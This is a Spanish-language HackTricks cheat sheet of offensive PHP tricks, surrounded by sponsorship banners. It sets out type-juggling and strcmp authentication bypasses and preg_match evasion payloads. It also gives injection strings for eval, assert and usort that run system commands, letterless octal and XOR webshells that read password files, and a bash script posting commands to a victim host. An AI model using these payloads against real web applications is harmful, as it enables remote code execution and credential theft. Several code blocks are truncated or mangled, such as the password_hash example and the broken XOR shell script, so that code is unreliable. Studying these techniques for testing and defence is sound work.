# Trucos de PHP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Ubicación común de las cookies: Esto también es válido para las cookies de phpMyAdmin. Cookies: ``` PHPSESSID phpMyAdmin ``` Ubicaciones: ``` /var/lib/php/sessions /var/lib/php5/ /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## Saltando comparaciones en PHP ### Comparaciones sueltas / Type Juggling ( == ) Si se usa `==` en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también desea comparar que el tipo de los datos comparados sea el mismo, debe usar `===`. Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../.gitbook/assets/image (40) (1).png>) {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} * `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número * `"0xAAAA" == "43690" -> True` Las cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números eran los mismos (los números en una cadena se interpretan como números) * `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0 * `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0 * `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo con él. Por lo tanto, si puede proporcionar un valor que creará un hash que comience con "0e" y sin ninguna letra, podría saltarse la comparación. Puede encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0 Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in\_array()** **Type Juggling** también afecta a la función `in_array()` de forma predeterminada (necesita establecer en verdadero el tercer argumento para hacer una comparación estricta): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); //True var_dump(in_array(0, $values, true)); //False ``` ### strcmp()/strcasecmp() Si esta función se utiliza para **cualquier verificación de autenticación** (como comprobar la contraseña) y el usuario controla uno de los lados de la comparación, puede enviar una matriz vacía en lugar de una cadena como valor de la contraseña (`https://example.com/login.php/?username=admin&password[]=`) y evitar esta comprobación: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` El mismo error ocurre con `strcasecmp()`. ### Conversión estricta de tipos Incluso si se utiliza `===`, puede haber errores que hagan que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de comparar: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg\_match(/^.\*/) **`preg_match()`** se puede utilizar para **validar la entrada del usuario** (verifica si alguna **palabra/regex** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar su ejecución). #### Bypass de nueva línea Sin embargo, al delimitar el inicio de la expresión regular, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera se puede **enviar** la entrada en **varias líneas**, se podría evitar esta verificación. Ejemplo: ```php $myinput="aaaaaaa 11111111"; //Notice the new line echo preg_match("/1/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/1.*$/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/^.*1/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` Para evitar esta comprobación, podrías **enviar el valor con saltos de línea urlencoded** (`%0A`) o si puedes enviar **datos JSON**, envíalos en **varias líneas**: ```php { "cmd": "cat /etc/passwd" } ``` Aquí tienes un ejemplo: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **Bypass de error de longitud** (Este bypass aparentemente se probó en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\ Si puedes enviar a `preg_match()` una entrada muy **grande y válida**, no podrá procesarla y podrás **burlar** la comprobación. Por ejemplo, si está en una lista negra un JSON, podrías enviar: ``` payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}' ``` ### Tipos de datos en PHP para ofuscación ```php $obfs = "1"; //string "1" $obfs++; //int 2 $obfs += 0.2; //float 2.2 $obfs = 1 + "7 IGNORE"; //int 8 $obfs = "string" + array("1.1 striiing")[0]; //float 1.1 $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` ## Ejecución Después de Redireccionamiento (EAR) Si PHP está redireccionando a otra página pero no se llama a la función **`die`** o **`exit`** después de establecer la cabecera `Location`, PHP continúa ejecutando y agregando los datos al cuerpo: ```php ``` ## Más trucos * **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor, por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código. * Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** estableciendo el valor de la cookie de la otra ruta.\ De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 tomará como válidas las variables de la ruta1 (dando a la cookie el nombre que le corresponde en la ruta2). * Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Comprueba la dirección: **/\~\** para ver si los directorios php están activados. * [**LFI y RCE usando envoltorios php**](../../../pentesting-web/file-inclusion/) ### password\_hash/password\_verify Estas funciones se utilizan típicamente en PHP para **generar hashes a partir de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\ Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT es frecuentemente lo mismo que PASSWORD\_BCRYPT.** Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72bytes con este algoritmo, solo se utilizarán los primeros 72B: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` ### Bypass de cabeceras HTTP abusando de errores de PHP Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP devuelva algún **contenido lo suficientemente largo** como para que cuando intente **agregar las cabeceras** en la respuesta, el servidor arroje un error.\ En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como se puede ver en la pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (por lo que, por ejemplo, la cabecera CSP no se envió al usuario): ![](<../../../.gitbook/assets/image (465).png>) ## Ejecución de código **system("ls");**\ **\`ls\`;**\ **shell\_exec("ls");** [Consulte esto para obtener más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/) ### **Ejecución de código usando** **preg\_replace()** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Para ejecutar el código en el argumento "replace" es necesario que haya al menos una coincidencia.\ Esta opción de preg\_replace ha sido **obsoleta desde PHP 5.5.0.** ### **Ejecución de código con Eval()** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# '.system('uname -a');// '.phpinfo().' ``` ### **Ejecución de código con Assert()** Esta función dentro de PHP te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en el medio de una cadena. Por ejemplo:\ `assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE**, podrías hacer: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` Necesitarás **romper** la **sintaxis** del código, **añadir** tu **payload** y luego **arreglarlo de nuevo**. Puedes usar operaciones lógicas como "**and" o "%26%26" o "|"**. Ten en cuenta que "or", "||" no funcionan porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará. **Otra opción** es agregar a la cadena la ejecución del comando: `'.highlight_file('.passwd').'` **Otra opción** (si tienes el código interno) es modificar alguna variable para alterar la ejecución: `$file = "hola"` ### **Ejecución de código con usort()** Esta función se utiliza para ordenar una matriz de elementos utilizando una función específica.\ Para abusar de esta función: ```php VALUE: );phpinfo();# ``` ```php VALUE: );}[PHP CODE];# ``` También puedes usar **//** para comentar el resto del código. Para descubrir el número de paréntesis que necesitas cerrar: * `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes. * `?order=id);}//`: obtenemos una **advertencia**. Eso parece estar bien. * `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre. ### **Ejecución de código a través de .httaccess** Si puedes **subir** un **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess se pueden **ejecutar**). Se pueden encontrar diferentes shells de .htaccess [aquí](https://github.com/wireghoul/htshells) ## Análisis estático de PHP Busca si puedes insertar código en llamadas a estas funciones (de [aquí](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` Si estás depurando una aplicación PHP, puedes habilitar la impresión de errores globalmente en `/etc/php5/apache2/php.ini` agregando `display_errors = On` y reiniciando apache: `sudo systemctl restart apache2`. ### Desofuscando código PHP Puedes usar la **web** [**www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.** ## Wrappers y protocolos de PHP Los Wrappers y protocolos de PHP podrían permitirte **burlar las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información, consulta esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). ## RCE no autenticado de Xdebug Si ves que **Xdebug** está **habilitado** en una salida de `phpconfig()`, deberías intentar obtener RCE a través de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit). ## Variables variables ```php $x = 'Da'; $$x = 'Drums'; echo $x; //Da echo $$x; //Drums echo $Da; //Drums echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` ## RCE abusando de new $\_GET\["a"]\($\_GET\["b"]) Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, podrías obtener RCE, revisa la siguiente página para aprender cómo hacerlo: {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} [php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md) {% endcontent-ref %} ## Ejecutar PHP sin letras [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) ### Usando octal ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` ### **XOR** El operador XOR (Exclusive OR) es una operación lógica que se utiliza en programación para comparar dos valores binarios. El resultado de la operación es 1 si los valores son diferentes y 0 si son iguales. En el contexto del hacking, XOR se utiliza a menudo para cifrar y descifrar datos. En PHP, el operador XOR se representa con el símbolo `^`. Por ejemplo, `0b1010 ^ 0b1100` dará como resultado `0b0110`. Para cifrar datos con XOR en PHP, se puede utilizar la función `str_repeat()` para repetir una clave de cifrado y la función `ord()` para obtener el valor numérico de cada carácter en la cadena de datos. A continuación, se puede aplicar el operador XOR a cada valor numérico utilizando la clave de cifrado repetida. Para descifrar datos cifrados con XOR en PHP, se puede utilizar el mismo proceso, pero aplicando el operador XOR inverso (`$a ^ $b = $c` es lo mismo que `$a ^ $c = $b`) para obtener los valores numéricos originales. A continuación, se puede utilizar la función `chr()` para convertir los valores numéricos en caracteres y reconstruir la cadena de datos original. ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### Código shell XOR fácil Según [**este artículo**](https://mgp25.com/ctf/Web-challenge/), es posible generar un código shell fácil utilizando XOR de la siguiente manera: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de ese payload para ejecutar PHP arbitrario: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` Para una explicación más detallada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match) ### Código de shell XOR (dentro de eval) ```bash #!/bin/bash if [[ -z $1 ]]; then echo "USAGE: $0 CMD" exit fi CMD=$1 CODE="\$_='\ ``` ```php lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ``` ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` ### Similar a Perl ```php ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).